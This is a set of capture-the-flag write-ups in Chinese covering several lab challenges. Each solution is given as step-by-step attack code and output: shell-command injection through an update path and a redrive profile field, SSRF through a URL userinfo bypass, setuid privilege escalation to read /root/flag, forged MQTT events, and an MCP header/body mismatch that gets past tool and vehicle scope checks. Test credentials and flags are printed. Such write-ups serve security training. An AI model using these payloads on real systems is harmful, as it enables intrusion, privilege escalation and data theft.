  22. 编写第二组修复:MIGRATE 全部动作要求活跃且 bound_id 为 ops,export 额外要求展示身份与绑定身份一致;hist 仅从导出时保存的可信快照切片并对越界部分补零,拒绝负偏移与超过 0x4000 的长度;commit 将原生记录返回的身份与断言同快照及当前绑定重新比对。

    def _mig_gate(self, sess):
        return (self._alive(sess) and sess["bound_id"] == "ops")
    if off < 0 or length < 0 or length > MAX_HIST:
        return dict(ERR)
    data = snap[off:off + length]
    if not (identity == trust["identity"] and assertion == trust["assertion"]):
        return dict(ERR)
    
    非 ops 会话的 export 被拒;hist 负偏移与超长请求被拒;commit 身份或断言与快照不一致时被拒。
    
  23. 以假 migd 实现原生迁移协议,并加载判题器 checker 模块在本地执行 Stage 5 回归,覆盖合法认证流、ops 合法迁移与攻击链阻断。

    srv.bind(("127.0.0.1", 0))
    migd_proc, port = spawn_migd(user=JUDGE_USER)
    sim = Patched(migd=migd_client())
    ok, message = check_submission(payload)
    
    8 项负向测试全部 PASS,总计输出 RESULT: ALL PASS;check_submission(5) 返回修复有效。
    
  24. 提交 Stage 5 补丁源码,判题器完成合法流回归与攻击链回归后返回完整 flag。

    b64 = base64.b64encode(open("patched_simulator.py", "rb").read()).decode()
    msg = {"op": "SUBMIT", "stage": 5, "source_b64": b64}
    sock.sendall((json.dumps(msg, separators=(",", ":")) + "\n").encode())
    
    ok=true,points=20,flag_part=ho_1nv4r14nt_r3st0r3d,flag=flag{ytvwjyftbBNPgR1IhiNky9i1G17jhhHvsjJxBsyg};message=修复有效:合法流与 ops 迁移通过,攻击链被阻断。
    

    step 24 终端截图

Bootleg Update

  1. 以服务控制台 profile 中的 service.engineer@mimic-ivi.test / Mimic-Update-2026 取得 64 位十六进制 bearer token,并阅读 /api/v1/update/scan 的服务端实现,确认 media_path 仅校验长度不超过 1024 且以 .up 结尾,随后以 shell=True 拼接进 unzip -l ''。

    token = json.loads(req("POST", "/api/v1/login", {"username": "service.engineer@mimic-ivi.test",
                                                    "password": "Mimic-Update-2026"})[1])["token"]
    media_path = str(body.get("media_path", ""))
    if len(media_path) > 1024 or not media_path.endswith(".up"):
        return self.send_json(400, {"error": "update_path_must_end_in_up"})
    command = "unzip -l '" + media_path + "'"
    result = subprocess.run(command, shell=True, cwd=STATE, stdout=subprocess.PIPE,
                            stderr=subprocess.STDOUT, timeout=4, check=False)
    
    login 200 token 64 hex; accepted_suffix=.up; default_path=/app/public/sample_update.up
    CALLS[client] > 96 -> 429 scan_limit
    
  2. 利用单引号闭合命令并注释尾部引号,构造以 .up 结尾的 media_path 执行 ls -la /app/incident,确认证据文件清单与字节数。

    payload = "/app/public/sample_update.up'; ls -la /app/incident #.up"
    st, b = req("POST", "/api/v1/update/scan", {"media_path": payload}, token)
    print(json.loads(b)["exit_code"], json.loads(b)["output"])
    
    exit_code=0; emmc_snapshot.bin 65536, field_4.1.3.bup 24832, factory_4.1.2.bup 20672
    update_guard 41760, director_targets.json 847, image_targets.json 813, vehicle_version_manifest.json 1214
    

    step 2 终端截图
  3. 以 base64 逐个读取 /app/incident 下的证据文件并写入本地工件目录(代码以 update_guard 为例),用于离线解析。

    cmd = "echo ===B64START===; base64 /app/incident/update_guard; echo ===B64END==="
    media_path = "/app/public/sample_update.up'; " + cmd + " #.up"
    st, b = req("POST", "/api/v1/update/scan", {"media_path": media_path}, token)
    b64 = json.loads(b)["output"].split("===B64START===")[1].split("===B64END===")[0]
    open("artifacts/update_guard", "wb").write(base64.b64decode("".join(b64.split())))
    
    update_guard 41760 B; emmc_snapshot.bin 65536 B; field_4.1.3.bup 24832 B
    factory_4.1.2.bup 20672 B; manifests 847/813/1214 B; update_engine.log 469 B
    
  4. 解析 eMMC 快照:读取 BOOTCTRL 中 BTCTX 记录的 state、VIP_B 分区的 SHA-256,以及 VERSION_JOURNAL 中 seq=5 记录的各字段。

    img = open("artifacts/emmc_snapshot.bin", "rb").read()
    print(img[0x40:0x48], hex(struct.unpack_from("<I", img, 0x54)[0]))
    print(hashlib.sha256(img[0x9000:0xb000]).hexdigest())
    j5 = struct.unpack_from("<IIIIIII", img, 0xc084)
    print(j5)
    
    BTCTX state=0x725ef80e; VIP_B sha256=d20226d72174709f445db67eabf9735c3324f031f4223e0a73739b106bb95f0a
    VERSION_JOURNAL seq=5 type=2 slot=0x42 version=0x20806 counter=42 nonce=0xaa5a2e30 crc=0x53917b3d
    
  5. 解析 field_4.1.3.bup 的 BUP2 头与 3 条 64 字节记录,验证记录表 CRC,并对比 vip_b 记录的 flags、CRC 与 hash 前缀同实际 payload 的差异。

    b = open("artifacts/field_4.1.3.bup", "rb").read()
    print(hex(zlib.crc32(b[0x40:0x100]) & 0xffffffff), hex(struct.unpack_from("<I", b, 0x20)[0]))
    for i in range(3):
        r = b[0x40+i*0x40:0x80+i*0x40]
        poff, ln = struct.unpack_from("<II", r, 0x10)
        pay = b[0x100+poff:0x100+poff+ln]
        print(r[:8], struct.unpack_from("<I", r, 0x1c)[0], hex(struct.unpack_from("<I", r, 0x20)[0]),
              hex(zlib.crc32(pay) & 0xffffffff), r[0x24:0x34].hex()[:16], hashlib.sha256(pay).hexdigest()[:16])
    
    record-table crc 0xcb71cf17 == header 0xcb71cf17; ivi_b flags=1 crc 0x7dcfc533 match; navdata flags=1 crc 0xa6f26be2 match
    vip_b flags=2 stored_crc 0x13ed130e vs calc 0x94890efd; stored_hash 5f8d2f4c227c8997 vs calc_sha d20226d72174709f
    
  6. 对照 director target、车辆版本清单与 update_engine.log,确认 vip_b 的目标哈希为 5f8d2f4c、实际报告哈希为 d20226d7、验证策略为 secondary-compat-v1,且日志记录 legacy=yes。

    dt = json.load(open("artifacts/director_targets.json"))["signed"]["targets"]
    vvm = json.load(open("artifacts/vehicle_version_manifest.json"))["signed"]
    key = "vip/VIP-CTRL-07/vip-fw-2.8.6.bin"
    print(dt[key]["hashes"]["sha256"], dt[key]["custom"]["verification_profile"])
    print([e["sha256"] for e in vvm["ecu_version_reports"] if e["ecu_serial"] == "VIP-CTRL-07"])
    print(open("artifacts/update_engine.log").read().splitlines()[3])
    
    expected 5f8d2f4c227c8997735dc751acb59611eb479a68953f694f666bf54aa90e9c24; profile secondary-compat-v1
    reported d20226d72174709f445db67eabf9735c3324f031f4223e0a73739b106bb95f0a; log target=vip_b secondary=VIP-CTRL-07 verification=compatibility legacy=yes
    
  7. 以 capstone 反汇编 update_guard 的记录校验路径,确认 flags 字段位于记录 +0x1c;flags=2 对应 secondary-compat-v1,bit0 为 0 时跳过 payload 的 CRC 与哈希校验,bit1 为 1 时继续处理;因此 flags=2 的 vip_b 记录在 CRC 与 hash 均不匹配的情况下仍通过。

    python3 -I analyze.py 0x1013290 0x101329c
    python3 -I analyze.py 0x101325c 0x1013260
    python3 -I analyze.py 0x101321c 0x1013238
    
    0x1013290: ldr w10,[x2,#0x1c]; 0x1013294: tbz w10,#0,0x101325c
    0x101325c: tbz w10,#1,0x1013468; flags=2 -> bit0=0 跳过, bit1=1 通过
    
  8. 以 qemu-aarch64 的 gdbstub 运行 update_guard 并在 DREC 校验函数 0x10135c8 下断,抓取连续状态绑定的自检 DREC,用于校验流密码实现;该二进制为 AArch64 musl 静态 stripped ELF。

    qemu-aarch64 -g 1234 ./update_guard ./field_4.1.3.bup
    gdb-multiarch -q ./update_guard -ex 'set architecture aarch64' \
      -ex 'target remote :1234' -ex 'b *0x10135c8' -ex 'continue'
    
    QEMU: Terminated via GDBstub; breakpoint 0x10135c8 hit; AArch64 static stripped, 41760 B
    self-test plaintext len 48 crc32 0xa52ae601; captured self-test DREC ciphertext
    
  9. 复现 update_guard 0x10134e4 的自定义流密码:密钥混合后按字节执行 13/17/5 位移的 xorshift,并与表驱动旋转字节及递增状态异或;完整实现见 drec.py。

    def cipher(data, k3, k4, k5, k6, k7):
        w11 = (k3 ^ k4 ^ k6) & M
        w13 = (w11 ^ ror32(k5, 27)) & M
        w16 = (w13 ^ (k7 ^ 0x6D2B79F5)) & M
        for i in range(len(data)):
            w16 = (w16 ^ ((w16 << 13) & M)) & M
            w16 = (w16 ^ (w16 >> 17)) & M
            w16 = (w16 ^ ((w16 << 5) & M)) & M
    
    self-test re-encryption byte-identical to gdb capture; self-test binding 0x66e70157; plaintext crc32 0xa52ae601
    
  10. 从 BTCTX.state=0x725ef80e 与 VERSION_JOURNAL seq=5 的 nonce=0xaa5a2e30 计算真实绑定密钥 k7=ror32(state ^ nonce ^ 0x58 ^ 5, 21)。

    state = struct.unpack_from("<I", img, 0x54)[0]
    j5 = struct.unpack_from("<IIIIIII", img, 0xc084)
    nonce = j5[5]
    k7 = ror32(state ^ nonce ^ 0x58 ^ 5, 21)
    print(hex(state), hex(nonce), hex(k7))
    
    state=0x725ef80e; nonce=0xaa5a2e30; k7=0x26b31ec0
    
  11. 按 director target 的 diagnostic_offset=640 从 VIP_B 分区偏移 0x280 提取 DREC,解析版本、长度、image_version、nonce 与存储 CRC。

    vip = img[0x9000:0xb000]
    rec = vip[0x280:0x280 + 0x14 + 0x5f]
    magic, ver, ln = struct.unpack_from("<4sHH", rec, 0)
    image_version, nonce, stored_crc = struct.unpack_from("<III", rec, 8)
    print(magic, ver, ln, hex(image_version), hex(nonce), hex(stored_crc))
    
    DREC 1 95 0x20806 0xc0dec0de 0x1a04dd54
    
  12. 以 k5=42、k6=0xaf81a474、k7=0x26b31ec0 解密密文,校验 CRC32 等于 0x1a04dd54,并用同一密钥重加密验证与存储密文逐字节一致,得到 flag。

    k5, k6, k7 = 42, 0xaf81a474, 0x26b31ec0
    pt = cipher(rec[0x14:0x14+ln], image_version, nonce, k5, k6, k7)
    print(hex(zlib.crc32(pt) & 0xffffffff), cipher(pt, image_version, nonce, k5, k6, k7) == rec[0x14:0x14+ln])
    print(pt.decode())
    
    crc32 0x1a04dd54 == stored 0x1a04dd54; re-encrypt byte-identical True
    VIP_DIAG|ecu=aux-ctrl|slot=B|result=AUTH_GAP|flag{HXjKnGH2PJfvrNvf1H59i91ZiNlsE4RdsYrkBWLL}|end
    

    step 12 终端截图

Wasmnesia

  1. 使用题目给定凭据完成应用认证,请求 /api/v1/preview,读取 1088 字节 EIPC 样本与浏览器端跑批参数。

    s = requests.Session()
    tok = s.post(BASE + "/api/v1/login", json={"username": "reviewer@edgeledger.test", "password": "Replay-Wasm-2026"}).json()["token"]
    h = {"Authorization": "Bearer " + tok}
    p = s.get(BASE + "/api/v1/preview", headers=h).json()
    print(p["row_count"], p["transform_blocks"], p["block_size"], p["task"])
    print(f"sample_b64 -> {len(base64.b64decode(p['sample_b64']))} bytes, schema_sha256={p['schema_sha256']}")
    
    12 17 64 {'job_id': 268440116, 'tenant_tag': 324478056, 'plugin_rev': 198401, 'batch_base': 268439552}
    sample_b64 -> 1088 bytes, schema_sha256=a2a572758c92c982f423b8e136923ed2f3a32528db19ed79a4d36f5838a45140
    
  2. 通过 /api/v1/connectors/fetch 的 userinfo 形式绕过 hostname 白名单,访问 127.0.0.1:9090 的 artifact-cache sidecar,取回 WEXP 正式导出。

    cat = s.post(BASE + "/api/v1/connectors/fetch", headers=h, json={"url": "http://preview.reports.local/catalog/roadrunner-q3"}).json()
    meta = json.loads(cat["body"])["formal_export"]
    u = "http://preview.reports.local@" + meta["authority"] + meta["artifact_path"]
    side = s.post(BASE + "/api/v1/connectors/fetch", headers=h, json={"url": u}).json()
    wexp = base64.b64decode(json.loads(side["body"])["export_b64"])
    open("formal.wexp", "wb").write(wexp)
    print(f"authority={meta['authority']} artifact={meta['artifact_path']}")
    print(f"wexp={len(wexp)} bytes sha256={hashlib.sha256(wexp).hexdigest()}")
    
    authority=127.0.0.1:9090 artifact=/internal/v1/artifacts/runs/job-f1234001/formal.wexp
    wexp=1168 bytes sha256=0c725e4ecedf0c1e657d2fd58c0d831b47dc2be0c1163c421b747555e9ce81b3
    
  3. 解析 WEXP 头,读取块数 17、job_id、tenant_tag、plugin_rev、batch_base 与整体长度。

    fx = open("formal.wexp", "rb").read()
    blocks = struct.unpack_from("<I", fx, 8)[0]
    job, tenant, rev, batch = struct.unpack_from("<IIII", fx, 12)
    print(blocks, *(f"{x:08x}" for x in (job, tenant, rev, batch)), len(fx))
    
    17 97392c77 58d29bc7 00030701 05acd744 1168
    
  4. 按 wasm 中 mix32、derive_seed、transform_batch 与 composeSeed 的逻辑复算 seed,并对 1088 字节变换体执行逆置换与逐字节异或。

    job, tenant, rev, batch = struct.unpack_from("<IIII", fx, 12); low, high = compose(job, tenant, rev, batch)
    n = struct.unpack_from("<I", fx, 8)[0]; seed = derive_seed([low, high, job, tenant, rev])
    k1 = (mix32(seed, 0) & 15) + 1; shift = mix32(seed, 1) % n; rot = mix32(seed, 2) & 63
    out = bytearray(n * 64)
    for i in range(n):
        for j in range(64):
            out[(i*k1+shift)%n*64 + ((j*13+rot)&63)] = fx[80+i*64+j] ^ (mix32(seed, (i<<6)+j) & 0xff)
    print(f"seed={seed:#x} k1={k1} shift={shift} rot={rot}"); print("plain=EIPC,", len(out), "bytes, sha256="+hashlib.sha256(out).hexdigest())
    
    seed=0x1afcae3e k1=13 shift=7 rot=29
    plain=EIPC, 1088 bytes, sha256=39a8c8c59742b57d03c5a6f63f0a606d3f0315aad245f2e06a678a5d1799693d
    
  5. 解析逆变换后 EIPC 的记录区,提取 redrive 端点、execution_id、generation 与 input_sha256。

    d = out
    f, p, m, h, g = struct.unpack("<IIIII", d[28:48])
    offs = [struct.unpack("<I", d[m+k*4:m+k*4+4])[0] for k in range(13)]
    for k in range(12):
        print(d[h+offs[k]:h+offs[k+1]].decode())
    
    redrive_endpoint=/api/v1/operations/redrives
    execution_id=job-f1234001 generation=1 input_sha256=640f35878d0ae8a162fc9431306b62315301083b69b578b08fdb85cc7f0acfb3
    
  6. 在 redrive 的 profile 参数中闭合 edge-post 的命令行,追加 id 与读取 edge-post 的命令,确认执行身份为 uid 1001(ctf)。

    H = "640f35878d0ae8a162fc9431306b62315301083b69b578b08fdb85cc7f0acfb3"
    body = {"execution_id": "job-f1234001", "input_sha256": H, "generation": 1,
            "profile": "archive-jsonl; id; cat /usr/local/bin/edge-post"}
    r = s.post(BASE + "/api/v1/operations/redrives", json=body, headers=h)
    print(r.status_code, r.json()["output"])
    
    200 archive_profile=archive-jsonl
    uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
    

    step 6 终端截图
  7. 枚举容器内可执行文件,确认 /usr/local/bin/edge-health 带 setuid root 位,并通过反汇编分析其提权行为。

    ls -l /usr/local/bin/edge-health
    objdump -d --no-show-raw-insn -M intel edge-health.bin | sed -n '/<main>:/,/^$/p'
    strings -a edge-health.bin | grep -E 'PYTHONPATH|edge_health|/app/workspace'
    
    mode=-rwsr-xr-x owner=root group=root size=16088 path=/usr/local/bin/edge-health
    setgid(0); setuid(0); chdir("/app/workspace"); PYTHONPATH=/app/workspace:/opt/edge; python3 -c 'import edge_health; edge_health.run()'
    
  8. 通过 redrive 注入将 edge_health.py 写入 /app/workspace,再调用 setuid 程序,使 Python 以 root 身份导入并执行该模块。

    payload = 'import os;print("UID",os.getuid(),os.getgid());print("FILE",open("/root/flag","rb").read())'
    b64 = base64.b64encode(payload.encode()).decode()
    cmd = f"echo {b64} | base64 -d > /app/workspace/edge_health.py; /usr/local/bin/edge-health"
    body = {"execution_id": "job-f1234001", "input_sha256": H, "generation": 1, "profile": "archive-jsonl; " + cmd}
    r = s.post(BASE + "/api/v1/operations/redrives", json=body, headers=h)
    print(r.json()["output"])
    
    UID 0 0
    FILE b'flag{sj5Ldb4KpYVkVPDnvVKhsvq9xJFZ2u1btKiDZF8A}\n'
    

    step 8 终端截图

Ghost-in-the-Queue

  1. 读取本地保存的集成文档,枚举 automation relay 的允许目标、job 类型与 telemetry tag 语义。

    import json
    d = json.load(open("docs_integrations.json"))
    print(d["automation_relay"]["allowed_targets"])
    print(d["job_types"]["get_key1"])
    print(sorted(d["telemetry"]["tags"]))
    print(d["telemetry"]["frame_format"])
    
    `allowed_targets=internal/audit/* only; job get_key1 role=admin`
    `tags 0x10 0x11 0x21 0x30; max frame 160 bytes`
    
  2. 对同一个 claim_token 在首次使用后的 90 秒窗口内改用不同 topup_id 重发 topup.requested,检查 billing 的幂等键。

    claim = "b9d90f09-eedf-4ec7-a06b-a41a0649e6a2"
    for tid in ["634639be-c28a-41f1-83bf-406d108bcea5", "cd9d1ef6-e00e-48ac-aa3c-b4081ce66b19"]:
        ev = {"type": "topup.requested", "claim_token": claim, "user": "alice", "topup_id": tid}
        client.publish("tenant/alice/topup/events", json.dumps(ev), qos=1)
    
    `id=28 topup_id=634639be-c28a-41f1-83bf-406d108bcea5 -> id=29 amount=100`
    `id=67 topup_id=cd9d1ef6-e00e-48ac-aa3c-b4081ce66b19 -> id=68 amount=100`
    
  3. 用 echo 任务返回的真实 approval_id 伪造 role=admin、type=get_key1 的任务,发布到 jobs/submit。

    r = requests.post(BASE + "/api/jobs", headers=H, json={"type": "echo", "payload": {"s14": "fresh"}}).json()
    ev = {"job_id": "s14job-96e27b73", "user": "alice", "role": "admin",
          "type": "get_key1", "payload": {}, "approval_id": r["approval_id"]}
    client.publish("tenant/alice/jobs/submit", json.dumps(ev), qos=1)
    
    `tenant/alice/jobs/results {"status":"done","output":"key1-9f27c4a1d3e8","job_id":"s14job-96e27b73","user":"alice"}`
    
  4. 创建受限的 key2-badge 订单,待异步取消后伪造同 order_id、同 item 的 order.paid 事件。

    r = requests.post(BASE + "/api/orders", headers=H, json={"item": "key2-badge"}).json()
    ev = {"type": "order.paid", "item": "key2-badge", "price": 60,
          "order_id": r["order_id"], "user": "alice"}
    client.publish("tenant/alice/orders/events", json.dumps(ev), qos=1)
    
    `POST /api/orders -> 403 status=cancelled reason=restricted item: admin role required`
    `/api/shipments -> item=key2-badge key=key2-5be810cc9742`
    
  5. 以余额 3100 真实购买单价 600 的 key4-crown,并读取 shipment 中的 key。

    print(requests.get(BASE + "/api/balance", headers=H).json())
    print(requests.post(BASE + "/api/orders", headers=H, json={"item": "key4-crown"}).json())
    print([s["key"] for s in requests.get(BASE + "/api/shipments", headers=H).json() if s["item"] == "key4-crown"])
    
    `GET /api/balance -> balance=3100; POST /api/orders -> paid=600 status=paid`
    `/api/shipments -> key4-c931e58b02ad`
    
  6. 在 crown 订单已支付的条件下再购买单价 150 的 gold-plate,触发忠诚度奖励事件。

    print(requests.post(BASE + "/api/orders", headers=H, json={"item": "gold-plate"}).json())
    time.sleep(2)
    print([m for m in MESSAGES if "loyalty.reward" in m[1]])
    
    `POST /api/orders -> paid=150 status=paid`
    `tenant/alice/alerts {"type":"loyalty.reward","message":"Loyalty tier GOLD reached","key":"key3-77aa02d4f1c6"}`
    
  7. 对已支付订单执行 cancel,用 order.paid 翻回 paid 后二次 cancel,触发对账 integrity.alert。

    oid = "2c207632-181a-4885-874b-021ddfd39dca"
    requests.post(BASE + "/api/orders/" + oid + "/cancel", headers=H, json={})
    client.publish("tenant/alice/orders/events", json.dumps({"type": "order.paid",
        "item": "gold-plate", "price": 150, "order_id": oid, "user": "alice"}), qos=1)
    time.sleep(1)
    requests.post(BASE + "/api/orders/" + oid + "/cancel", headers=H, json={})
    
    `audit id=250 refund.processed amount=150 order=2c207632-181a-4885-874b-021ddfd39dca`
    `tenant/alice/alerts {"type":"integrity.alert","message":"ledger imbalance: order 2c207632-181a-4885-874b-021ddfd39dca refunded 2 times","key":"key6-8831bb55e04f"}`
    

    step 7 终端截图
  8. 通过 automation relay 将声明长度 0xff、实际 6 字节的 0x21 帧转发到 telemetry ingest,读取公开状态中的 last_ack.echo。

    msg = {"target": "internal/audit/ingest",
           "payload": {"body": {"frame": "544d010121ff",
                                "reply_to": "tenant/alice/alerts"},
                       "forward": "internal/telemetry/ingest"}}
    client.publish("tenant/alice/automation", json.dumps(msg), qos=1)
    
    `last_ack.echo 43464731... -> CFG1f877bc0e92b337a5ead1cd3bc92385fe; 尾部含 v2.3-native`
    
  9. 以泄漏的 boot token 构造 tag 0x30 认证帧,把 reply_to 设为 public/telemetry/status,导出 diagnostics escrow。

    token = "f877bc0e92b337a5ead1cd3bc92385fe"
    frame = "544d01013020" + token.encode().hex()
    msg = {"target": "internal/audit/ingest",
           "payload": {"body": {"frame": frame, "reply_to": "public/telemetry/status"},
                       "forward": "internal/telemetry/ingest"}}
    client.publish("tenant/alice/automation", json.dumps(msg), qos=1)
    
    `{"type":"diag","build":"v2.3-native","uptime":391,"escrow":{"key5":"key5-20df77ac19b3"}}`
    
  10. 将六把 key 依次送入 vault 接口,再读取 vault 的完成状态与 flag。

    keys = ["key1-9f27c4a1d3e8", "key2-5be810cc9742", "key3-77aa02d4f1c6",
            "key4-c931e58b02ad", "key5-20df77ac19b3", "key6-8831bb55e04f"]
    for key in keys:
        print(requests.post(BASE + "/api/vault/submit", headers=H, json={"key": key}).json())
    print(requests.get(BASE + "/api/vault", headers=H).json())
    
    `{"complete":true,"total":6,"unlocked":["k1","k2","k3","k4","k5","k6"],"flag":"flag{W57GLX4DQpfupjQ3SPv3r8wauNQCHU8JcFml3NK7}"}`
    

    step 10 终端截图

Crossed Signals

  1. 静态审读 app.js 的 sendMcp(),确认 tools/call 同时写入头部 MCP 字段与 JSON-RPC 体。

    const headers = {
      "MCP-Protocol-Version": "2026-07-28",
    };
    if (method === "tools/call") {
      request.params.name = name;
      headers["Mcp-Name"] = name;
      headers["Mcp-Param-VIN"] = argumentsObject.vin;
    }
    
    app.js:99 "MCP-Protocol-Version": "2026-07-28",
    app.js:106 headers["Mcp-Param-VIN"] = argumentsObject.vin;
    
  2. 使用顾问账号向 /api/login 发送 JSON 凭据,换取 bearer token。

    BASE='http://<target-host>:58080'
    TOKEN=$(curl -sS -X POST "$BASE/api/login" \
      -H 'Content-Type: application/json' \
      -d '{"username":"advisor@northline.test","password":"Service-Desk-2026"}' \
      | python3 -c 'import json,sys;print(json.load(sys.stdin)["token"])')
    
    {"token":"OqX4mlhkSyHl2lxR9W2OJFULUAxfPowChtjQc25CaKI","expires_in":7200,"role":"service_advisor"}
    
  3. 以 bearer token 读取 /api/me 与 /api/cases,确定本人 VIN 与受限 VIN。

    for ep in me cases; do
      curl -sS -H "Authorization: Bearer $TOKEN" "$BASE/api/$ep" | jq .
    done
    
    assigned_vins: ["CTF6SVC0000000001"]
    SR-26042 vin=CTF6SVC0000000002 access=restricted fleet=Factory validation
    
  4. 枚举 /mcp 的 tools/list,记录工具集合与 export_case_bundle 的权限描述。

    META='{"io.modelcontextprotocol/protocolVersion":"2026-07-28"}'
    curl -sS -X POST "$BASE/mcp" \
      -H "Authorization: Bearer $TOKEN" \
      -H 'Content-Type: application/json' \
      -H 'Accept: application/json, text/event-stream' \
      -H 'MCP-Protocol-Version: 2026-07-28' \
      -H 'Mcp-Method: tools/list' \
      -d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{\"_meta\":$META}}"
    
    tools: get_vehicle_health, get_update_status, export_case_bundle
    export_case_bundle description: "Export the original bundle for matching diagnostic and OTA evidence references. Security operations only."
    
  5. 直接调用 export_case_bundle,分别记录工具作用域与车辆作用域的拒绝。

    H=(-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -H 'MCP-Protocol-Version: 2026-07-28')
    BODY='{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"export_case_bundle","arguments":{"vin":"CTF6SVC0000000002","case_id":"SR-26042"}}}'
    for VIN in CTF6SVC0000000001 CTF6SVC0000000002; do
      curl -sS -X POST "$BASE/mcp" "${H[@]}" -H 'Mcp-Method: tools/call' -H 'Mcp-Name: export_case_bundle' -H "Mcp-Param-VIN: $VIN" -d "$BODY"
    done
    
    403 {"error":"tool_scope_denied"}
    403 {"error":"vehicle_scope_denied"}
    
  6. 在 get_vehicle_health 上错位 VIN:头写本人 VIN,体写受限 VIN。

    H=(-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -H 'MCP-Protocol-Version: 2026-07-28')
    curl -sS -X POST "$BASE/mcp" "${H[@]}" \
      -H 'Mcp-Method: tools/call' \
      -H 'Mcp-Name: get_vehicle_health' \
      -H 'Mcp-Param-VIN: CTF6SVC0000000001' \
      -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"get_vehicle_health","arguments":{"vin":"CTF6SVC0000000002"}}}'
    
    HTTP 200 case_id=SR-26042
    diagnostic_ref=DX-14aa1573372a3019dedb0b88
    

    step 6 终端截图
  7. 用同样的 VIN 错位调用 get_update_status,取得 evidence_ref。

    H=(-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -H 'MCP-Protocol-Version: 2026-07-28')
    curl -sS -X POST "$BASE/mcp" "${H[@]}" \
      -H 'Mcp-Method: tools/call' \
      -H 'Mcp-Name: get_update_status' \
      -H 'Mcp-Param-VIN: CTF6SVC0000000001' \
      -d '{"jsonrpc":"2.0","id":5,"method":"tools/call","params":{"name":"get_update_status","arguments":{"vin":"CTF6SVC0000000002"}}}'
    
    HTTP 200 evidence_ref=EV-a269b37db90de0e2e128aaac
    
  8. 同时错位工具名与 VIN,用 Mcp-Name: get_vehicle_health 触发 export_case_bundle,取得暂存 bundle。

    H=(-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -H 'MCP-Protocol-Version: 2026-07-28')
    curl -sS -X POST "$BASE/mcp" "${H[@]}" \
      -H 'Mcp-Method: tools/call' \
      -H 'Mcp-Name: get_vehicle_health' \
      -H 'Mcp-Param-VIN: CTF6SVC0000000001' \
      -d '{"jsonrpc":"2.0","id":7,"method":"tools/call","params":{"name":"export_case_bundle","arguments":{"vin":"CTF6SVC0000000002","case_id":"SR-26042","diagnostic_ref":"DX-14aa1573372a3019dedb0b88","evidence_ref":"EV-a269b37db90de0e2e128aaac"}}}' \
      -o work/crossed/bundle.json
    
    bundle_id=j4qGXftIAruM_V-ZvBbBFwxzIki7Yp4E release_state=pending
    
  9. 解码预览 base64 ZIP,对比 manifest 条目与预览实际文件。

    import json, base64, zipfile, io
    j = json.load(open("work/crossed/bundle.json"))
    sc = j["result"]["structuredContent"]
    raw = base64.b64decode(sc["preview_b64"])
    open("work/crossed/preview.zip", "wb").write(raw)
    z = zipfile.ZipFile(io.BytesIO(raw))
    print(z.namelist())
    print(json.loads(z.read("manifest.json"))["entries"])
    
    ['manifest.json', 'diagnostics/telemetry.json', 'diagnostics/update-history.json']
    ['diagnostics/telemetry.json', 'diagnostics/update-history.json', 'private/recovery.txt']
    
  10. 请求完整下载与 notes,确认发布门禁为 bundle_release_pending 且 notes 仅接受 POST。

    BID=j4qGXftIAruM_V-ZvBbBFwxzIki7Yp4E
    curl -sS -H "Authorization: Bearer $TOKEN" "$BASE/api/bundles/$BID/download"
    curl -sS -H "Authorization: Bearer $TOKEN" "$BASE/api/bundles/$BID/notes"
    
    403 {"error":"bundle_release_pending","required_release_state":"approved"}
    404 {"error":"not_found"}
    
  11. 向 notes 端点 POST release_state=approved,把暂存 bundle 置为可发布。

    curl -sS -X POST "$BASE/api/bundles/$BID/notes" \
      -H "Authorization: Bearer $TOKEN" \
      -H 'Content-Type: application/json' \
      -d '{"note":"approved","release_state":"approved"}'
    
    HTTP 200 {"bundle_id":"j4qGXftIAruM_V-ZvBbBFwxzIki7Yp4E","note":"approved","release_state":"approved"}
    
  12. 重新下载 ZIP,读取 private/recovery.txt 中的恢复令牌。

    curl -sS -H "Authorization: Bearer $TOKEN" "$BASE/api/bundles/$BID/download" \
      -o work/crossed/original2.zip
    unzip -l work/crossed/original2.zip
    unzip -p work/crossed/original2.zip private/recovery.txt
    
    Recovery token: flag{5QWk5WbCj1IXPhfC3uoEQfLOSoj38RKvH9T1WGPx}
    

    step 12 终端截图

Undercurrent

  1. 请求 /health,读取服务标识、MQTT WebSocket 路径与事件/遥测主题模式。

    curl -s "$BASE/health" -o /tmp/health.json
    jq '{ok, service, mqtt_websocket_path, mqtt_subprotocol,
         event_topic_pattern, telemetry_topic_pattern}' /tmp/health.json
    
    {"ok":true,"service":"stream-test","mqtt_websocket_path":"/mqtt","mqtt_subprotocol":"mqtt","event_topic_pattern":"frigate/+/events","telemetry_topic_pattern":"home/+/telemetry"}
    
  2. 以 WebSocket Upgrade 与子协议 mqtt 连接 /mqtt(mosquitto WebSocket 监听);未升级的普通 HTTP 请求返回 502,升级握手返回 101。

    r = requests.get("http://" + HOST + "/mqtt")
    print(r.status_code)
    ws = websocket.create_connection("ws://" + HOST + "/mqtt",
                                     subprotocols=["mqtt"], timeout=10)
    print(ws.getstatus(), ws.getsubprotocol())
    
    502
    101 mqtt
    
  3. 使用 paho 以 WebSocket 匿名连接,订阅 #、$SYS/#、frigate/#、home/#,确认 CONNACK 与订阅授予。

    A = mqtt.Client(callback_api_version=mqtt.CallbackAPIVersion.VERSION2,
                    client_id="cap", transport="websockets")
    A.ws_set_options(path="/mqtt")
    A.on_connect = lambda cl, u, f, rc, p=None: [cl.subscribe(t, 0) for t in ["#", "$SYS/#", "frigate/#", "home/#"]]
    A.on_message = lambda cl, u, m: print(m.topic, bytes(m.payload).decode("utf-8", "replace"))
    A.connect(HOST, PORT, 30)
    A.loop_start()
    
    {"ev": "connect", "rc": "Success", "t": 1793452096.826804}
    sub # / $SYS/# / frigate/# / home/# accepted
    
  4. 向候选主题发布测试消息并重连检查 retain;PUBACK 均正常,但仅 frigate/+/events 被投递。

    for t in ["probe/a", "home/lock/telemetry", "frigate/test/xevents",
              "home/test/telemetry", "frigate/test/events"]:
        A.publish(t, "PAYLOAD-" + t, qos=1)
    A.publish("frigate/retained/events", "RETAINED-VAL", qos=0, retain=True)
    
    frigate/retained/events -> RETAINED-VAL (retain=1)
    probe/a、home/lock/telemetry、home/test/telemetry、frigate/test/xevents 无投递
    
